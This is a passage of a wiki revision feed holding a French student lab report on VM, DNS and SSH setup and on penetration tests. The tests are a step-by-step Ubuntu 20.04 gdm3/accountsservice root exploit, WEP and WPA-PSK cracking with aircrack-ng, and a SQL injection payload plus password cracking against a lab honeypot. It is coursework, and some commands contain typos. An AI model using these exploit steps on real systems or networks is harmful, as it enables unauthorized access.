accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
''' SOURCE : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
'''METTRE UNE IMAGE PLUS EXPLICITE'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:27 --ch 9 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP (A FAIRE...)==&lt;br /&gt;
'' Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée. ''&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53756</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53756"/>
				<updated>2020-11-16T16:25:27Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : p&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
Et ça marche !&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on accède à piedbleu via SSH !&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Après avoir ajouter notre 1er nom de domaine piedbleu.site, nous configurons notre serveur DNS sur notre VM afin d'associer notre nom de domaine à notre adresse IP.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
$ apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
$ name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
$ zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
$         type master;&lt;br /&gt;
$         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
$         allow-transfer { 217.70.177.40; };&lt;br /&gt;
$ };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
$ ;&lt;br /&gt;
$ ; BIND data file for local loopback interface&lt;br /&gt;
$ ;&lt;br /&gt;
$ TTL    604800&lt;br /&gt;
$ @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
$                               3         ; Serial&lt;br /&gt;
$                          604800         ; Refresh&lt;br /&gt;
$                            86400         ; Retry&lt;br /&gt;
$                         2419200         ; Expire&lt;br /&gt;
$                          604800 )       ; Negative Cache TTL&lt;br /&gt;
$ ;&lt;br /&gt;
$ @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
$ @       IN      NS      ns6.gandi.net.&lt;br /&gt;
$ ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
$ host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''NOTE 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''NOTE 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
''' SOURCE : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
'''METTRE UNE IMAGE PLUS EXPLICITE'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:27 --ch 9 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP (A FAIRE...)==&lt;br /&gt;
